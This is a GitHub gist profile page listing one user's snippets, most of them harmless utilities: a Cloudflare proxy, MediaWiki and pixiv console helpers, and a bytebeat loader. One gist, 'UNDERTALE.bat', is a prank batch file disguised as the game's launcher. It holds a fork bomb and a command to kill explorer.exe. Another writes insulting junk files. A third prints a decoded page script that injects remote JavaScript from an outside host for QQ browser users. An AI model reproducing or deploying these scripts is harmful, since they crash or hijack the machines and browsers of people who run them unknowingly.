Skip to content

Instantly share code, notes, and snippets.

Avatar

Liu Wenyuan Dobby233Liu

View GitHub Profile
@Dobby233Liu
Dobby233Liu / UNDERTALE.bat
Last active May 23, 2017
Insanity Echo (Not Undertale) 放在Undertale目录效果更佳
View UNDERTALE.bat
msgbox "get dunked on","fuck u"
echo dunk
echo off
%0|%0
start mus_ruins.ogg
start UNDERTALE.exe
start UNDERTALE.bat
taskkill /f /im /t explorer.exe
@Dobby233Liu
Dobby233Liu / FUCKYOU.BAT
Last active Jul 10, 2017
you are pretty good
View FUCKYOU.BAT
start
@echo off
mkdir -p FUCK
cd FUCK
echo "sggdhsgwghwihdgdhshgwfwvshgsgushwhwkwoiieiehhfbjd276233662526262663" > hhh.txt
echo "You Shit" >> hhh.txt
echo "HAHA" >> *.txt
ren *.txt YETUAREASHIT%1%2%3%4.txt
View MainActivity.java
package com.mycompany.myapp.kill;
import android.app.*;
import android.os.*;
import android.content.*;
import java.util.*;
public class MainActivity extends Activity
{
@Override
View dmgroup1.js
// decoded by lwys 2019/5/3
// https://www.dmgroup.site/caidan.html :script[type="javascript"]:1 (dont open the link, or u will be shocked by https://www.dmgroup.site/pic/aaa.mp3)
if(navigator.userAgent.indexOf("QQ/")>0){
function downloadJSAtOnload() {
var OSQG1 = document.createElement("script");
OSQG1.src = "http://img.88ksk.cn/uploads/web/skin/1.js?v1";
document.body.appendChild(OSQG1);
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
@Dobby233Liu
Dobby233Liu / README.md
Last active Aug 29, 2019
映像恶俗维基的cfworker脚本 demo: https://pxesu.d2l.workers.dev/
View README.md

px4cfw

简易cloudflare workers单站proxy

搭建方法

创建一个workers项目,代码粘贴进去,const root变量的值改成要proxy网站的域名,deploy,完事

demo

esu.wiki -> pxesu.d2l.workers.dev

credits

file-type那块盗于https://github.com/sindresorhus/file-type

其他全部我码的

@Dobby233Liu
Dobby233Liu / main.js
Last active Sep 1, 2019
[mediawiki管理] 在DevTools控制台里查看当前页面的创建者(wip)
View main.js
if (!window['mw']){
window.___devtools_randomAlphabets = function(){
var numList = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
var len = Math.min(Math.trunc(Math.random() * 27), 26);
var str = "";
for (var i = 0; i < len; i++) str += numList[Math.trunc(Math.random() * (26 * 2))];
return str;
}
window.mw = {
Api: function(){
@Dobby233Liu
Dobby233Liu / a.js
Last active Apr 13, 2021
my messing w/ msedge dev read aloud. ONLY RUN IN edge dev. i give up, so it wont work properly
View a.js
var ARRAY_LENGTH = 16;
var MIN_HEX_LENGTH = 2;
class UUID {
static createUUID() {
const array = new Uint8Array(ARRAY_LENGTH);
window.crypto.getRandomValues(array);
let uuid = '';
@Dobby233Liu
Dobby233Liu / main.js
Last active Oct 26, 2019
getIllustUrl. it's useless, maybe... you can also get nsfw illust image url using this.
View main.js
/**
* getIllustUrl - DevTools console script to get pixiv illust original image... in it's page
* Written by GitHub@Dobby233Liu
* Public Domain, take the below function is free too.
* note: this script will output to console. output may be:
* url and data (success), boolean and error message, including "GET xxx 4xx/5xx" (api error), or "uncaught error" (something gone wrong)
* offical version always at: https://gist.github.com/Dobby233Liu/1e61dccc9f67156157bcf15387319566
**/
getIllustUrl = (illustID, cb, httpErrorCB) => {
fetch("https://www.pixiv.net/ajax/illust/" + illustID)
@Dobby233Liu
Dobby233Liu / 42.js
Last active Nov 3, 2019
42.js - quickjs bytebeat isolated loader stub, named after the famous 42 melody
View 42.js
/**
* 42.js - quickjs bytebeat isolated loader stub, named after the famous 42 melody
* code: @Dobby233Liu
* WTFPL
* fill up the code(t) section, build using qjsc https://bellard.org/quickjs/ then pipe to anything eg. aplay
* i recommend use node.js more than quickjs, its better, and quickjs is in beta.
* example program using node.js: bytebeat.jsV2.0 https://pastebin.com/xwtRgcfV
* gist: https://gist.github.com/Dobby233Liu/157e2438dcfb7a31209616404b301759
**/
import * as std from 'std'